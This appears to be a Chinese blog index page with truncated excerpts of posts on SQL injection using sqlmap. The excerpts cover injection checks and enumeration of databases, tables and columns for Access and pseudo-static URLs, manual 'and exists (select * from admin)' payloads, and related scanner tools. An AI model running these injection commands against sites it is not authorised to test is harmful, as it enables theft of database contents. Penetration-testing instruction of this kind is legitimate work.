2024-12-29 厉飞雨 阅读(63) 评论(0) 赞(5)

注：此方法使用于access数据库，mysql、MSSQL数据库请在第二步获取站点当前数据库及数据库，方法与常规mysql、MSSQL注入一样，只不过在后面加上了"--level 2"这个参数，其他参数照常使用。 ```bash 判断数据库，获取服务器，网站环境等参数 sqlmap.py -u http://www.xx.com/show.asp --co...

2024-12-29 厉飞雨 阅读(82) 评论(0) 赞(5)

1.判断注入的是否存在注入漏洞 --------------- ```bash sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" root@huc:~# sqlmap -u(-u：指定一个URL) "http://www.xxx.com/xx.asp?id=xxx" ``` 2.获取表名 ---...

2024-12-29 厉飞雨 阅读(72) 评论(0) 赞(3)

php+mysql注入方法：http://tieba.baidu.com/p/3723202169 http://www.cnblogs.com/Javame/p/3753060.html sqlmap命令大全 1：access注入 猜解表名 and exists (select \* from admin) 猜解列名 and exists(select userna...

2024-12-29 厉飞雨 阅读(51) 评论(0) 赞(5)

sqlmap.py -u "url" --tables 列出数据库中的表 （ --tables：列出表） sqlmap.py -u "url" -T 表 --columns 列出表中字段 -D：指定数据库名称 -T：指定要列出字段的表 --columns：指定列出字段 sqlmap.py -u "url" ...

2024-12-29 厉飞雨 阅读(136) 评论(0) 赞(5)

伪静态注入 ----- ``` 1.在存在注入的地方加上*,然后获取数据库 sqlmap.py -u "http://www.xx.com/index.php/index/view/id/40*.html" --dbs 2.获取数据库中的表 sqlmap.py -u "http://www.xx.com/index.php/index/view/...

2024-12-29 厉飞雨 阅读(85) 评论(0) 赞(4)

Access数据库注入 ----------- ``` 1.判断注入的是否存在注入漏洞 sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" root@tiejiang:~# sqlmap -u(-u：指定一个URL) "http://www.xxx.com/xx.asp?id=xxx" 2.获取表名...

2024-12-29 厉飞雨 阅读(91) 评论(0) 赞(2)

一款集成sqlmap到burpsuite中的插件(整合两大神器)，在网上寻找类似的插件，发现了一款：https://code.google.com/p/gason/，不过对windows支持并不好，于是自己动手开发一款。 **配置：** 首先安装sqlmap，传送门：http://sqlmap.org/ 将sqlmap.py加入到path中(在cmd中输入sqlmap.p...

2024-12-29 厉飞雨 阅读(49) 评论(0) 赞(3)

Par0：楔子 ------- > 你站在桥上看风景，看风景的人在楼上看你， > > 明月装饰了你的窗子，你装饰了别人的梦。 Par1：你要了解的事 ----------- 渗透测试的同学应该都知道，在Linux下，sqlmap执行的语句大多是： ``` Bash#sqlmap –u "http://sample.com/a=xxx&...

2024-12-29 厉飞雨 阅读(50) 评论(0) 赞(2)

0x00 概述 ======= *** ** * ** *** 1.drops之前的文档 [SQLMAP进阶使用](http://drops.wooyun.org/tips/5254)介绍过SQLMAP的高级使用方法，网上也有几篇介绍过SQLMAP源码的文章[曾是土木人](http://www.cnblogs.com/hongfei/category/372087.html...

2024-12-29 厉飞雨 阅读(41) 评论(0) 赞(3)

项目地址：[SQLiScanner](https://github.com/0xbug/SQLiScanner) 简介 --- > 叕一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具 从内部安全平台 分离出来的一个模块, 支持 Har 文件的扫描(搭配 Charles 使用: Tools=\>Auto Save) 特性 --- * 邮箱通...